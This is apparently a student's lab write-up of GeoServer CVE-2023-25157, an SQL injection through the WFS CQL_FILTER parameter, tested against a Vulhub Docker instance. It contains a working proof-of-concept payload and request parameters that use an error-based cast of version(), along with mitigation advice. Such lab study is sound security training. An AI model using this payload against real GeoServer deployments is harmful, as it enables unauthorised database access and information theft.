geoserver CVE-2023-25157

White Hat 3rd Cohort [Class 30] Kim Jeong-woo

---

github link - https://github.com/custiya/geoserver-CVE-2023-25157

Vulnerability Summary

• CVE-2023-25157 is an SQLi vulnerability that occurred in GeoServer, an open-source map data service web application.
• Occurs in some versions of GeoServer 2.22.0 and below.
• The CQL_FILTER parameter of WFS (Web Feature Service) requests is vulnerable.
• Anyone can exploit if they can access the API without authentication.

Environment Setup

• Run the test environment with the docker compose up -d command.
• Access the page at http://your-ip:8080/geoserver.
• First, you need to discover an existing workspace containing a PostGIS data store.
• Vulhub's GeoServer instance already has a PostGIS data store.
  • Workspace name: vulhub
  • Data store name: pg
  • Table name: example
  • Attribute used: name

poc.py

• A form of SQLi statement created based on the content described above.
• Deliver that statement to the server using the requests module.
• strStartsWith(name,'x'') = true
  • Adds an extra single quote after 'x', breaking the SQL syntax.
• and 1=(SELECT CAST ((SELECT version()) AS integer))
  • The version() function returns the current version of PostgreSQL as a string.
  • CAST(... AS integer) forces conversion to integer, causing an error.
  • The server will return an error message, allowing Blind SQL Injection testing.

# 대상 URL
url = "http://localhost:8080/geoserver/ows"

# CQL_FILTER에 들어갈 원본 인젝션 문자열 (URL 디코딩된 상태)
cql_filter = "strStartsWith(name,'x'') = true and 1=(SELECT CAST ((SELECT version()) AS integer)) -- ') = true"

# 파라미터 설정
params = {
    "service": "wfs",
    "version": "1.0.0",
    "request": "GetFeature",
    "typeName": "vulhub:example",
    "CQL_FILTER": cql_filter
}

Results

Summary

• Through this PoC, we were able to check whether SQLi occurs. An attacker could use SQL queries to collect system information.
• To prevent this attack, user input validation should be added. Also, instead of directly interpreting the input SQL statement for use, it should be stored separately and used.